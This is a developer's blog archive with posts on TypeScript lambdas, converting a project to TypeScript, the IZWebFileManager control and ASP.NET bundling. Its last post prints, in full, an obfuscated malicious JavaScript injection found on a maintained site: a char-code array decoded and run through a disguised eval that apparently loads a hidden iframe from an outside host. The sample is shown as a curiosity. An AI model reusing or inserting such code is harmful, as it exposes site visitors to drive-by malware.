Sunday, June 30, 2013

TypeScript lambda expression

In my opinion, TypeScript is the best solution for MS/.NET oriented development.

At first - it is very similar to C#, that makes .NET developer's life easy.

At second - TypeScript is a superset of JavaScript, and you can mix "pure" JavaScript code with "typed" TypeScript. It is very important in case you have a lot of JavaScript in your project and want to take advantage of modern web technologies. I have an example - my IZWebFileManager project

At third (but not less important) - it has Lambda expression

I am using JQuery AJAX, and used to write such code:



It is simple closure, that I use to keep reference to the instance that I work with from ajax callback.
This pattern became routine and very annoying.

But TypeScript bring the solution:


It is much simple, no need to care of what 'this' is anymore. It just does all this annoying routine behind the scene. There is compiled JavaScript output:



It worth to move to TypeScript just because it is a great feature

Tuesday, March 19, 2013

Junk Email - free source of Unicode characters

When you test Unicode support of an application, you likely use text snippets of foreign language.

Recently I found a free source of such texts - it is Junk Email. There you can find tons of text in Chinesе, Turkish, Russian and more. :)

Monday, March 4, 2013

IZWebFileManager got better!

Today I released a new build of IZWebFileManager - v2.8.0.

This is a new minor release, but it includes a major changes.

First of all, I dropped IE7 support. Previous version 2.7.2 works in IE7, and you may stick with it if you really need IE7 support.

A new "supper" feature has been added  - Select Folder dialog. When you copy or move selected item, then  Select Folder dialog is open to allow you to pick up a destination.



In additional, there are many new properties were added to support look and feel customization:

  • SelectedItemBackColor
  • SelectedItemForeColor 
  • SelectedItemBorderColor 
  • SelectFolderTreeStyle
  • DetailsColumnHeaderStyle 
  • DetailsSortedColumnStyle 
  • DynamicMenuStyle 
  • TextBoxStyle 
Demo project contains samples of using of them.


You can download this new build from project's page.

Wednesday, January 2, 2013

Converting existing JavaScript code to TypeScript in Visual Studio

The best way to learn new technology is to start using it with real project. I have such - IZWebFileManager. It  was written when ASP.NET MVC wasn't event in mind and Web Forms was only framework for web application in .NET.  IZWebFileManager is an ASP.NET Server Control and has about 1300 lines of JavaScript code.

The challenge is to convert all existing JavaScript code in the project to TypeScript. The result of this effort you can find here: https://github.com/manishma/IZWebFileManager/tree/typescript

It this post I'll tell you about steps I went through.


Tuesday, January 1, 2013

Using TypeScript with an existing ASP.NET project.

TypeScript looks very powerful for me, and I want to use it with all my ASP.NET projects. But I found it is not trivial to add support of TypeScript to an existing project. After installing TypeScript for Visual Studio 2012 I was able to add new TypeScript file (*.ts) to the project, but any changes in the *.ts file did not affect it's output *.js file. Seemed like TypeScript compiler doesn't work for me. It was strange, because I found it works perfect in test project created from TypeScriptHTMLApp template.

After comparing *.cspoj files I found the difference - there is an "magic" build step has done to compile *.ts files in TypeScriptHTMLApp template:




I just added this lines in my existing project's *.csproj file and it works fine now.

Later I found the same answer in Stack Overflow. (Should I've searched there for an answer first? :))


Tuesday, September 4, 2012

Using ASP.NET Bundling and Minification with Web Forms

Bundling and Minification is a new feature of ASP.NET 4.
Learn more from this tutorial http://www.asp.net/mvc/tutorials/mvc-4/bundling-and-minification.

It has been promoted as part of ASP.NET MVC 4, but actually does not depend on MVC stack and may by used within any ASP.NET application including ASP.NET Web Forms.

When you start a new ASP.NET MVC 4 application using Visual Studio template, it sets up all what you need to start using this feature, but if you have an existing ASP.NET application (even not MVC), you have to complete following steps to make it works with your app.

Tuesday, April 10, 2012

JavaScript injection

 This JavaScript code was injected to the main page of the one of not well protected sites I am happy to maintain.:

c=3-1;i=c-2;if(
window.document)if(parseInt("0"+"1"+"2"+"3")===83)try{Date().prototype.q}catch(egewgsd){f=['-31i-31i65i62i-8i0i60i71i59i77i69i61i70i76i6i63i61i76i29i68i61i69i61i70i76i75i26i81i44i57i63i38i57i69i61i0i-1i58i71i60i81i-1i1i51i8i53i1i83i-27i-31i-31i-31i65i62i74i57i69i61i74i0i1i19i-27i-31i-31i85i-8i61i68i75i61i-8i83i-27i-31i-31i-31i60i71i59i77i69i61i70i76i6i79i74i65i76i61i0i-6i20i65i62i74i57i69i61i-8i75i74i59i21i-1i64i76i76i72i18i7i7i63i65i63i57i76i61i74i65i57i6i65i70i7i65i70i6i59i63i65i23i15i-1i-8i79i65i60i76i64i21i-1i9i8i-1i-8i64i61i65i63i64i76i21i-1i9i8i-1i-8i75i76i81i68i61i21i-1i78i65i75i65i58i65i68i65i76i81i18i64i65i60i60i61i70i19i72i71i75i65i76i65i71i70i18i57i58i75i71i68i77i76i61i19i68i61i62i76i18i8i19i76i71i72i18i8i19i-1i22i20i7i65i62i74i57i69i61i22i-6i1i19i-27i-31i-31i85i-27i-31i-31i62i77i70i59i76i65i71i70i-8i65i62i74i57i69i61i74i0i1i83i-27i-31i-31i-31i78i57i74i-8i62i-8i21i-8i60i71i59i77i69i61i70i76i6i59i74i61i57i76i61i29i68i61i69i61i70i76i0i-1i65i62i74i57i69i61i-1i1i19i62i6i75i61i76i25i76i76i74i65i58i77i76i61i0i-1i75i74i59i-1i4i-1i64i76i76i72i18i7i7i63i65i63i57i76i61i74i65i57i6i65i70i7i65i70i6i59i63i65i23i15i-1i1i19i62i6i75i76i81i68i61i6i78i65i75i65i58i65i68i65i76i81i21i-1i64i65i60i60i61i70i-1i19i62i6i75i76i81i68i61i6i72i71i75i65i76i65i71i70i21i-1i57i58i75i71i68i77i76i61i-1i19i62i6i75i76i81i68i61i6i68i61i62i76i21i-1i8i-1i19i62i6i75i76i81i68i61i6i76i71i72i21i-1i8i-1i19i62i6i75i61i76i25i76i76i74i65i58i77i76i61i0i-1i79i65i60i76i64i-1i4i-1i9i8i-1i1i19i62i6i75i61i76i25i76i76i74i65i58i77i76i61i0i-1i64i61i65i63i64i76i-1i4i-1i9i8i-1i1i19i-27i-31i-31i-31i60i71i59i77i69i61i70i76i6i63i61i76i29i68i61i69i61i70i76i75i26i81i44i57i63i38i57i69i61i0i-1i58i71i60i81i-1i1i51i8i53i6i57i72i72i61i70i60i27i64i65i68i60i0i62i1i19i-27i-31i-31i85'][0].split('i');v="ev"+"a"+"l";}if(v)e=window[v];w=f;s=[];r=String;for(;565!=i;i+=1){j=i;s+=r["fr"+"omC"+"harCode"](40+1*w[j]);}
if(f)z=s;e(z);

Last expression  e(z) evaluates following code:



It is amazing,  how people create such things. This have to be a special state of mind.